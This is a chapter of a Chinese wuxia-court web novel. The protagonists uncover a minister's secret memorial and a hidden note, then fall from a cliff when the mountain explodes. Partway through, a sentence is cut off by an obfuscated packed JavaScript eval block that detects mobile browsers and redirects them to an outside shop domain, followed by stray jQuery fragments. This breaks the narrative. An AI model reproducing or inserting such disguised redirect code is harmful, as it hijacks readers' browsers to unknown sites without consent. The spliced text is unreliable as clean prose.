119. 坠崖
    江澧兰将每一本书都翻了一遍,忽然,从一本被翻旧了的《论语》中倒处一张字条。

    他拾起一看,上面写了两个字,字形龙飞凤舞,张牙舞爪似春蚓秋蛇,似曾相识的记忆骤然涌上脑海。

    “江大人,快打开手札,这本手札正是父亲年轻时所写,不知你能不能从中看出父亲当初写字的心境?”

    “我看这本手札时,还以为父亲的字体已经自成一系,没想到是我多想了。”

    王临安的声音,犹如在耳。

    是王相公的字迹,仔细辨认字条上的内容,上面郝然呈现两个字:帝心。

    江澧兰心下一沉,喊温沅芷:“阿芷,你来看看。”

    这一喊,发现温沅芷似是发呆。

    她被手中的画卷吸引住了,眉眼一眨也不眨。江澧兰稍顿,不由得凑上前去看,待看清了卷轴上的画像,顿时失笑,原来是一张美人像。

    女人只穿了一件碎花布裙,双手叠在膝盖上,临窗而坐,光影打在她的身上,照亮了女人幸福的面容。

    画美人像的人应该是个丹青圣手,将画像上的女人画得极致美丽,月眉星眼,琼姿花貌,就连江澧兰看过一眼,也要赞叹一声,好颜色。

    思及此女的身份,江澧兰脸色骤变,温沅芷一把将画像收起,眼睛直直地看着他,似是担忧,又似是害怕。

    江澧兰见状,什么情绪也没了,扯动嘴角,笑了笑:“怎么?担心她比我娘漂亮,我记恨?”

    温沅芷讷讷不语。

    江澧兰开玩笑:“况且,她也没我娘好看。”

    半响仍不见温沅芷回应,他发现她似乎真的担忧,于是上前抱住她,拍了拍她的后背,宽慰道:“放心,都是陈年旧事,我不生气,就算画像是他亲自画的,我也不生气。”

    温沅芷咽喉像是被扎了一根刺,半响说不出话来,她埋首在江澧兰的怀中,鼻息间萦绕地全部是他的身上独有的气味,许久,这份令人温暖的气味终于缓解了这张画像带来的震惊。

    她逼自己抽回思绪,扬起一抹笑容,道:“那就好,你,发现什么了没有?”

    江澧兰将书里的字条给她看,温沅芷秀眉一蹙:“是王相公的字。”

    江澧兰颔首:“王相公出自琅琊,早些年就有贤明流传在外,得朝云公主青眼相看,不足为奇。”

    “但是,这帝心二字就有些耐人寻味了。”温沅芷抬头,看着江澧兰,道:“你怀疑此帝心,指的就是高祖对太子的心?”

    江澧兰沉默须臾,道:“只是猜测,太巧合了。”

    温沅芷心里却道:十有八九。

    嘴上道:“我们再找找,一定还有其他线索。”

    江澧兰点头,将画像放好,二人继续翻找书籍,结果在案桌下的暗盒里找到一本密折。

    密折看上去已经很是陈旧,显然被翻阅过很多次,然而其外面被牛皮纸好好包住,除了时常翻阅带来的陈旧,纸张和内容字迹竟保存得完好无损。

    二人都屏住了呼吸,从头开始阅读。

    鄙琪拜公主上,得公主之信任,共讨救魏之良策,然,琪卑弱不堪负公主所望,只浅献琪之所望于公主,望公主见谅。

    琪之策一,规束宗室。古时天下百姓观瞻宗室王侯之风,上行下效,秩序井然,然今宗室耽于权色,不思先古祖训,骄奢淫逸,奸贪肆虐,京都百姓竞相效仿,不知外贼临城之威,以逸待劳,此大魏之危矣,须当约束宗室,以儆效尤。

    策二,用人唯才。天下贤才数不胜数,然而,德才兼备而被重用者,纵观京都皇城,寥寥数几,而远观蓟州庆王一脉,有英明神武李氏相助,数位公子殚精竭虑,兴旺发达,是以,公主当广招贤才,或可取各大世家鼎力相助。

    策三,整顿吏治。国乱之根本,在于吏,臣子贪污受贿,不思进取,欺上瞒下,压榨百姓,动社稷之根本。可设立监司,整治朝纲,直通民意。

    琪策陋鄙,实践者难,尚有一大忧患,唯琪之忠告,外敌当前,万望公主以天下百姓为重,庆王一系尚可一用,切不可操之过急。

    琪拜上。

    整个奏折的篇幅不长,但句句精炼,从种种迹象来看,朝云公主的确按照这样的方式来做,才让大魏在亡国之际又有了残喘的机会。

    “你看这字迹,是谁的?”温沅芷认真地问,她在朝中的时间不多,王相公的字,几乎没有见过。

    果然,江澧兰给出了她肯定得答案,“是王相公的字,王相公给君上上过折子,我看过,就是这样的字。”

    温沅芷倒吸一口气,“所以王相公是可以写两种字迹,一种用作公事,一种用作私事。”她抓住江澧兰的手腕,道:“你怎么看?”

    江澧兰面色凝重:“我倒是不担心王相公有什么阴谋,我担心的是,真正策划让皇爷爷废太子的人,是他。”

    温沅芷的心一沉。

    前朝到了后期,尤其是京都几个世家都被末帝斩杀殆尽后,其他各地的世家大族都开始避世不出,就连清阳也沉寂下来,偏安一隅。

    大家都在等,等一位贤能的人逐鹿中原,在这期间,不少世家私底下都在寻找这样的贤能,就像她的祖父,寻遍天下,在蓟州找到了先帝。

    王相公虽然也对前朝失望透顶,但仍然对朝云公主施以援手,这或许并非是对权势的追逐,而是基于对天下百姓的一种怜悯。

    他的种种计策,不过是让大魏在倾塌之前,给天下贤才以及普通民众留下一条活路,让朝云公主不要对庆王下手,是担心一旦庆王失势,乌孙南下,终将受苦受难的还是北境的黎民百姓。

    这样的王相公,为前朝公主献计献策,无可厚非,也令人尊敬,但在天下大定之初,再次给前朝公主献策,谋害当朝太子,这背后的深意,不得不令人遐思。

    她私心认为,是不是王相公有了把柄在朝云公主的手中,所以不得不

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14038028|130312||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被她利用?但这样的王相公,令她鄙夷,也不像是那位德高望重的王老,该有的风骨。

    江澧兰沉吟许久,也得不出结论。

    就在这时,温临闯了进来,焦急道:“我们要赶紧离开这里,山下的传来消息,山口被人封住了。”

    温沅芷眉头一跳,“这窦清海疯了不成?”

    “赶紧走。”江澧兰将折子和字条收好放进怀里,拉起温沅芷就跑,温沅芷跑了几步,忽然顿住,江澧兰转头看她:“怎么了?”

    温沅芷看着桌上的卷轴,跑回去,拿起方才那副美人像,抱在怀里,对着江澧兰一笑:“带回去瞻仰。”

    江澧兰眉头轻轻一皱,却没阻止她,几人离开宝藏室,离了出口,急切地往山下赶,江澧兰拉住她:“我们从另一个出口走。”

    温沅芷想也没想:“好”,一行近三十人,调转方向,冲着另一个方向下山。

    数人行步匆匆,不一会儿,行至半山腰,山路崎岖,一侧是陡峭的悬崖石壁,一侧是稀疏的竹林,尚未走出多远,忽然传来一阵巨大的轰鸣,声音似乎从山的腹部传来。

    温沅芷顿住脚,疑惑:“山里还有密道?”

    江澧兰脸色突变,“不好,是炸药。”同时色变的还有温临,出声的刹那,一股极大的力量在山体中爆发,破体而出的山石四面炸开,二人同时扑向温沅芷。

    “阿芷,小心。”

    “少主,小心。”

    温沅芷仰头,被二人拉着从山崖上跳下的时候,她正面朝上,亲眼看见了山崩的景象。

    无数的石块迎面追击而来,在山崩地裂的灾难面前,人类的渺小,令人心生胆寒。

    三人一同从就近的山崖上跳了下来,江澧兰和温临沿着山壁一路寻找可以着力的东西,山石将两人的手划破,血流不止,二人丝毫不能顾忌,终于,江澧兰抓住一根长在山壁里的藤蔓,三人坠着藤蔓一路继续下滑,但速度因受到的阻力明显降了许多。

    待到停下,三人同时看向下方,目测大约距离地面有十丈之高,温沅芷面色发白,道:“你们能下去吗?”

    她知道自己不能,她的功夫可以自保,但从这么高的地方下去,必死无疑,而且,她恐高。

    温临道:“我先下去。”

    江澧兰手拉藤蔓,认为这是最好的办法,微微点头,“你小心。”

    温沅芷有些担心,抓住温临的手,迟迟没有动作,温临难得露出笑容,道:“少主,你放手,郎君受伤了,拉不住我们两人。”

    温沅芷抬头,只见江澧兰的额角不知何时被石头击中,鲜红的血液顺着他的脸颊落到身上,濡湿了大片衣襟。

    她心中一急,对着温临只来得及喊上一句:“小心。”温临便已经坠了下去。

    温沅芷的心提到嗓子眼,幸好,温临在半道上掏出一把匕首,狠狠地扎进山石中,山石与金属擦出无数火花,终于,在一道夹缝中卡住。